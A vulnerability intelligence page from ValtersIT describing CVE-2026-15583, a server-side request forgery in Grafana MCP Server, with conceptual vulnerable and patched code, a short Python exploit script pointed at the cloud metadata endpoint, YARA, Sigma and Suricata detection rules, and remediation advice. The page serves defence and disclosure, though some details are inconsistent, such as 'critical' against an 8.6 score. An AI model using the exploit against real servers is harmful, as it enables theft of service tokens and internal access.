☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2026-15583

CVE-2026-15583 Server-Side Request Forgery in Grafana MCP Server
📅 PUBLISHED: 2026-07-15 07:29 UTC 🔄 UPDATED: 2026-10-11 17:46 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.53%
👁️
0.53% probability
13.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: Sweden License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-15583 is a critical confused-deputy vulnerability in the Grafana MCP Server. An unauthenticated remote attacker can exploit this flaw by sending a crafted X-Grafana-URL request header. This allows the attacker to exfiltrate the server's environment-configured Grafana service-account token and perform Server-Side Request Forgery (SSRF) against arbitrary internal services, including cloud metadata endpoints. The vulnerability has a CVSS score of 8.6, indicating high severity. No patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the Grafana MCP Server, which is a component used in the Grafana ecosystem. It is not directly related to NPM, PyPI, Go, or Ruby packages, but it may be distributed via container images or other package managers. Users should verify the integrity of their Grafana MCP Server installations and monitor for any supply chain compromises.

CVSS Breakdown & Threat Level

  • CVSS Score: 8.6 (High)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)

The threat level is critical due to the ease of exploitation and the potential for complete compromise of the Grafana MCP Server and internal network resources.

Deep Dive & Mechanics

The vulnerability is a confused-deputy problem (CWE-441). The Grafana MCP Server trusts the X-Grafana-URL header provided by the client to determine the target Grafana instance. An attacker can set this header to a malicious URL, such as http://169.254.169.254/latest/meta-data/ (AWS metadata endpoint) or an internal service. The server then uses its own credentials (the service-account token) to authenticate to the attacker-controlled URL, effectively leaking the token and enabling SSRF.

The attack flow:

  1. Attacker sends a request to the Grafana MCP Server with a crafted X-Grafana-URL header.
  2. The server processes the header and makes a request to the attacker-specified URL using its own service-account token.
  3. The attacker captures the token from the response or uses the SSRF to access internal resources.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

def handle_request(request):
    target_url = request.headers.get('X-Grafana-URL')
    token = os.environ['GRAFANA_SERVICE_TOKEN']
    response = requests.get(target_url, headers={'Authorization': f'Bearer {token}'})
    return response.text

Patched Code (Conceptual):

def handle_request(request):
    target_url = request.headers.get('X-Grafana-URL')
    # Validate that the URL is a trusted Grafana instance
    if not is_trusted_url(target_url):
        return "Invalid URL", 400
    token = os.environ['GRAFANA_SERVICE_TOKEN']
    response = requests.get(target_url, headers={'Authorization': f'Bearer {token}'})
    return response.text

The patch would involve validating the X-Grafana-URL against a whitelist of allowed Grafana instances and not using the server's token for arbitrary URLs.

Exploitation & Lab Setup

Red Team

Exploit Script (Python):

import requests

target = "http://victim-grafana-mcp-server:8080"
malicious_url = "http://169.254.169.254/latest/meta-data/"

headers = {
    "X-Grafana-URL": malicious_url
}

response = requests.get(target, headers=headers)
print("Response:", response.text)

Usage:

  1. Set target to the Grafana MCP Server address.
  2. Set malicious_url to the internal service or metadata endpoint you want to access.
  3. Run the script. The server will make a request to the malicious URL using its service-account token, and the response will be returned to the attacker.

Blue Team

Detection Steps:

  1. Monitor for requests with unusual X-Grafana-URL headers pointing to internal IPs or cloud metadata endpoints.
  2. Check server logs for outbound connections to unexpected destinations.
  3. Implement network segmentation to limit the impact of SSRF.

Honeypot Configuration:

  • Set up a fake metadata endpoint that logs all requests and alerts on access.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound requests to 169.254.169.254 (AWS metadata) or 169.254.169.254 (Azure metadata) from the Grafana MCP Server.
    • Requests to internal IP addresses (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) from the server.
  • Log IOCs:
    • Log entries showing X-Grafana-URL header with values containing internal IPs or cloud metadata endpoints.
  • File IOCs:
    • Unauthorized access to environment variables containing GRAFANA_SERVICE_TOKEN.

Detection Engineering

YARA Rule

rule CVE_2026_15583_Grafana_MCP_SSRF {
    meta:
        description = "Detects requests with malicious X-Grafana-URL header"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-15583"
    strings:
        $header = "X-Grafana-URL"
        $metadata = "169.254.169.254" nocase
        $internal_ip = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/
    condition:
        $header and ($metadata or $internal_ip)
}

Sigma Rule

title: CVE-2026-15583 Grafana MCP Server SSRF Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with X-Grafana-URL header pointing to internal or metadata endpoints
author: Valters IT
date: 2026-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-headers|contains: "X-Grafana-URL"
    keywords:
        - "169.254.169.254"
        - "10."
        - "172.16."
        - "172.17."
        - "172.18."
        - "172.19."
        - "172.20."
        - "172.21."
        - "172.22."
        - "172.23."
        - "172.24."
        - "172.25."
        - "172.26."
        - "172.27."
        - "172.28."
        - "172.29."
        - "172.30."
        - "172.31."
        - "192.168."
    condition: selection and keywords
falsepositives:
    - Legitimate use of internal Grafana instances
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-15583 Grafana MCP Server SSRF Attempt"; flow:to_server; content:"X-Grafana-URL"; http_header; pcre:"/X-Grafana-URL\x3a\s*(https?:\/\/)?(169\.254\.169\.254|10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2[0-9]|3[0-1])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3})/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the vulnerable feature: If possible, disable the functionality that processes the X-Grafana-URL header until a patch is available.
  2. Network Segmentation: Restrict outbound traffic from the Grafana MCP Server to only trusted Grafana instances.
  3. Input Validation: Implement strict validation of the X-Grafana-URL header against a whitelist of allowed URLs.

Long-term Fix:

  • Apply the official patch from the vendor once released.
  • Upgrade to a patched version of Grafana MCP Server.

Workaround:

  • Use a reverse proxy to strip or validate the X-Grafana-URL header before it reaches the server.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-15583/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.